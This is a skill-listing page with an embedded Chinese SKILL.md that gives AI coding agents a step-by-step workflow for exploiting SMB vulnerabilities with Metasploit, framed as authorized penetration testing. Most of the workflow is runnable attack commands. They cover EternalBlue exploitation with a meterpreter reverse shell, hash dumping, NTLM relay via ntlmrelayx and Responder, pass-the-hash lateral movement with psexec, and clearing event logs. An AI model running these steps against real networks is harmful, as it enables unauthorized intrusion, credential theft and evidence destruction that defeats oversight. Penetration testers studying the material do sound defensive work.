exploiting-smb-vulnerabilities-with-metasploit
在授权渗透测试中,使用 Metasploit Framework 识别并利用 SMB 协议漏洞, 演示企业网络中未打补丁的 Windows 系统、错误配置的共享和弱认证带来的风险。
Best use case
exploiting-smb-vulnerabilities-with-metasploit is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
在授权渗透测试中,使用 Metasploit Framework 识别并利用 SMB 协议漏洞, 演示企业网络中未打补丁的 Windows 系统、错误配置的共享和弱认证带来的风险。
Teams using exploiting-smb-vulnerabilities-with-metasploit should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-smb-vulnerabilities-with-metasploit/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-smb-vulnerabilities-with-metasploit Compares
| Feature / Agent | exploiting-smb-vulnerabilities-with-metasploit | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
在授权渗透测试中,使用 Metasploit Framework 识别并利用 SMB 协议漏洞, 演示企业网络中未打补丁的 Windows 系统、错误配置的共享和弱认证带来的风险。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 使用 Metasploit 利用 SMB 漏洞 ## 适用场景 - 在授权渗透测试中,测试 Windows 系统是否存在严重 SMB 漏洞(EternalBlue、EternalRomance、PrintNightmare) - 演示通过 SMB 中继、哈希传递(pass-the-hash)和凭据喷射进行横向移动的风险 - 验证补丁管理流程是否已修复已知 SMB 漏洞 - 评估整个域中的 SMB 签名(signing)执行情况和共享权限配置 - 通过尝试跨 VLAN 边界进行 SMB 利用来测试网络分段 **禁止在以下情况使用**:未获明确书面授权的系统、无维护窗口期的生产域控制器,或在评估范围之外部署持久后门。 ## 前置条件 - 已安装 Metasploit Framework 6.x(`msfconsole --version`) - 列出目标 IP 范围和批准攻击类型的授权渗透测试范围文件 - 可访问目标 SMB 服务(TCP 445、TCP 139) - 已安装 CrackMapExec 和 Impacket 工具用于补充 SMB 测试 - 参与项目批准的有效测试凭据或凭据字典 - Kali Linux 或同等测试平台 ## 工作流程 ### 步骤 1:枚举 SMB 服务和版本 ```bash # 使用 Nmap 发现开放 SMB 的主机 nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24 # 枚举 SMB 版本和操作系统信息 nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24 # 使用 CrackMapExec 进行快速 SMB 枚举 crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt # 检查 SMB 签名状态(禁用 = 易受中继攻击) crackmapexec smb 10.10.0.0/24 --smb-signing # 使用空会话枚举共享 crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares ``` ### 步骤 2:扫描已知 SMB 漏洞 ```bash # 启动 Metasploit 并扫描 MS17-010(EternalBlue) msfconsole -q msf6> use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt msf6 auxiliary(smb_ms17_010)> set THREADS 10 msf6 auxiliary(smb_ms17_010)> run # 扫描 MS08-067(Conficker 漏洞) msf6> use auxiliary/scanner/smb/ms08_067_check msf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt msf6 auxiliary(ms08_067_check)> run # 检查 SMBGhost(CVE-2020-0796) nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24 # 检查 PrintNightmare(CVE-2021-34527) crackmapexec smb 10.10.0.0/24 -u testuser -p 'TestPass123' -M printnightmare ``` ### 步骤 3:利用 EternalBlue(MS17-010) ```bash msf6> use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23 msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99 msf6 exploit(ms17_010_eternalblue)> set LPORT 4444 msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3 msf6 exploit(ms17_010_eternalblue)> exploit # 后渗透——验证访问级别 meterpreter> getuid # Server username: NT AUTHORITY\SYSTEM meterpreter> sysinfo meterpreter> ipconfig meterpreter> hashdump ``` ### 步骤 4:执行 SMB 中继攻击 ```bash # 识别没有 SMB 签名的主机(来自步骤 1) # 使用 Impacket 设置 NTLM 中继 sudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i # 从被攻陷主机或通过网络钓鱼触发身份验证 # 从被攻陷主机上的 Meterpreter 会话: meterpreter> shell C:\> net use \\10.10.1.99\share /user:DOMAIN\admin password # 或使用 Metasploit 的 SMB 中继模块 msf6> use exploit/windows/smb/smb_relay msf6 exploit(smb_relay)> set SMBHOST 10.10.5.30 msf6 exploit(smb_relay)> set LHOST 10.10.1.99 msf6 exploit(smb_relay)> exploit # 使用 responder 捕获 NTLM 哈希用于离线破解 sudo responder -I eth0 -wrfv ``` ### 步骤 5:通过 SMB 进行哈希传递和横向移动 ```bash # 从被攻陷系统中提取哈希 meterpreter> hashdump # Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42::: # 使用 CrackMapExec 进行哈希传递 crackmapexec smb 10.10.0.0/24 -u Administrator \ -H e19ccf75ee54e06b06a5907af13cef42 --shares # 通过哈希传递执行命令 crackmapexec smb 10.10.5.30 -u Administrator \ -H e19ccf75ee54e06b06a5907af13cef42 -x "whoami && hostname" # 使用 Impacket psexec 获取交互式 shell impacket-psexec Administrator@10.10.5.30 \ -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 # 使用 Metasploit psexec 模块 msf6> use exploit/windows/smb/psexec msf6 exploit(psexec)> set RHOSTS 10.10.5.30 msf6 exploit(psexec)> set SMBUser Administrator msf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 msf6 exploit(psexec)> set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(psexec)> set LHOST 10.10.1.99 msf6 exploit(psexec)> exploit ``` ### 步骤 6:记录发现并清理 ```bash # 记录所有被攻陷的系统和访问级别 # 在 Meterpreter 中截取桌面截图作为证据 meterpreter> screenshot # 列出可访问的共享和敏感数据 meterpreter> shell C:\> net share C:\> dir \\10.10.5.30\C$\Users\ /s /b # 清理——删除所有痕迹 meterpreter> clearev meterpreter> shell C:\> del /f C:\Windows\Temp\payload.exe # 关闭所有会话 msf6> sessions -K # 验证清理 crackmapexec smb 10.10.5.23 -u Administrator -H <hash> -x "dir C:\Windows\Temp\payload*" ``` ## 核心概念 | 术语 | 定义 | |------|------| | **EternalBlue(MS17-010)** | SMBv1 中的严重漏洞,允许无需身份验证即可以 SYSTEM 权限远程执行代码,最初由 NSA 开发,后被 Shadow Brokers 泄露 | | **SMB 签名** | SMB 数据包的加密签名,用于防止篡改和中继攻击;禁用时,攻击者可将 NTLM 身份验证中继到其他 SMB 主机 | | **哈希传递(pass-the-hash)** | 直接使用捕获的 NTLM 密码哈希而非明文密码进行身份验证的技术,绕过了破解哈希的需要 | | **NTLM 中继** | 将捕获的 NTLM 身份验证实时转发到不同服务器的攻击,使攻击者以被中继用户的身份获得访问权限 | | **PsExec** | 将服务二进制文件上传到 ADMIN$ 共享并创建 Windows 服务以 SYSTEM 身份执行命令的远程执行技术 | | **空会话(null session)** | 匿名 SMB 连接(空用户名和密码),可能在配置错误的系统上暴露共享列表、用户枚举和策略信息 | ## 工具与系统 - **Metasploit Framework**:包含专用 SMB 扫描器、漏洞利用和后渗透模块的利用框架,用于全面的 SMB 测试 - **CrackMapExec**:用于 Windows 网络中 SMB 枚举、凭据测试、共享枚举和命令执行的多功能工具 - **Impacket**:提供 psexec、smbclient、ntlmrelayx 等工具的 Python 库,用于低级 SMB 协议交互 - **Responder**:LLMNR/NBT-NS/mDNS 投毒工具,通过 Windows 名称解析回退行为捕获 NTLM 哈希 - **enum4linux-ng**:用于从 Windows/Samba 主机提取用户、组、共享和策略的更新版 SMB 枚举工具 ## 常见场景 ### 场景:通过 SMB 针对 Windows 域进行内部渗透测试 **背景**:在为一家金融服务公司进行的内部渗透测试中,测试人员可以访问企业 VLAN(10.10.0.0/16)。测试范围包括对所有 Windows 服务器和工作站测试 SMB 相关漏洞。Active Directory 域为 CORP.EXAMPLE.COM,约有 200 台主机。 **方法**: 1. 使用 CrackMapExec 扫描整个 /16 网段的开放 SMB 端口并枚举操作系统版本 2. 发现 12 台运行 Windows Server 2012 R2 且未应用 MS17-010 补丁的主机 3. 在非关键文件服务器(10.10.5.23)上利用 EternalBlue 获取 SYSTEM 访问权限 4. 使用 hashdump 提取本地管理员密码哈希,发现密码在 47 台主机上复用 5. 使用哈希传递访问域控制器,提取 NTDS.dit 数据库 6. 演示 83% 的主机禁用了 SMB 签名,使中继攻击成为可能 7. 记录完整攻击链,展示一个未打补丁的系统如何导致整个域的完全沦陷 **注意事项**: - EternalBlue 利用可能导致目标蓝屏死机(BSOD),尤其是在较旧或不稳定的系统上 - 在受严格监控的端点上运行 psexec 可能触发 EDR 警报并暴露测试行动 - 在大型数据库的域控制器上执行 hashdump 可能导致性能下降 - 未明确检查 SMBv1——如果 SMBv2/v3 也可用,某些扫描器可能会遗漏它 ## 输出格式 ``` ## SMB 漏洞评估报告 **参与项目**:内部渗透测试 **目标范围**:10.10.0.0/16(CORP.EXAMPLE.COM) **发现的 SMB 主机**:187 ### 严重发现 **发现 1:MS17-010(EternalBlue)- 12 台未打补丁主机** - 严重性:严重(CVSS 9.8) - 受影响:10.10.5.23、10.10.5.24、10.10.8.10(另 9 台) - 影响:无需身份验证即可以 SYSTEM 身份远程执行代码 - 已利用:是——在 10.10.5.23 上获得了 SYSTEM 权限 - 修复建议:应用 MS17-010 补丁,禁用 SMBv1 **发现 2:SMB 签名已禁用 - 155/187 台主机** - 严重性:高(CVSS 7.5) - 影响:NTLM 中继攻击允许凭据转发 - 已利用:是——中继了域管理员凭据 - 修复建议:通过组策略启用 SMB 签名 **发现 3:本地管理员密码复用 - 47 台主机** - 严重性:高(CVSS 7.2) - 影响:攻陷一台主机可横向移动到 47 个系统 - 修复建议:部署 LAPS(本地管理员密码解决方案) ```
Related Skills
triaging-vulnerabilities-with-ssvc-framework
使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。
testing-for-xxe-injection-vulnerabilities
在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。
testing-for-xss-vulnerabilities
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
testing-for-xss-vulnerabilities-with-burpsuite
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
testing-for-xml-injection-vulnerabilities
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
testing-for-open-redirect-vulnerabilities
通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。
testing-for-json-web-token-vulnerabilities
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
testing-for-business-logic-vulnerabilities
识别应用程序业务逻辑中的缺陷,这些缺陷允许价格操控、工作流绕过和权限提升,超出技术漏洞扫描器的检测范围。
testing-android-intents-for-vulnerabilities
测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。
prioritizing-vulnerabilities-with-cvss-scoring
通用漏洞评分系统(CVSS)是由 FIRST(事件响应和安全团队论坛)维护的行业标准框架,用于评估漏洞严重性。CVSS v4.0 于 2023 年 11 月发布,引入了更精确的评分指标。
exploiting-zerologon-vulnerability-cve-2020-1472
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
exploiting-websocket-vulnerabilities
在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。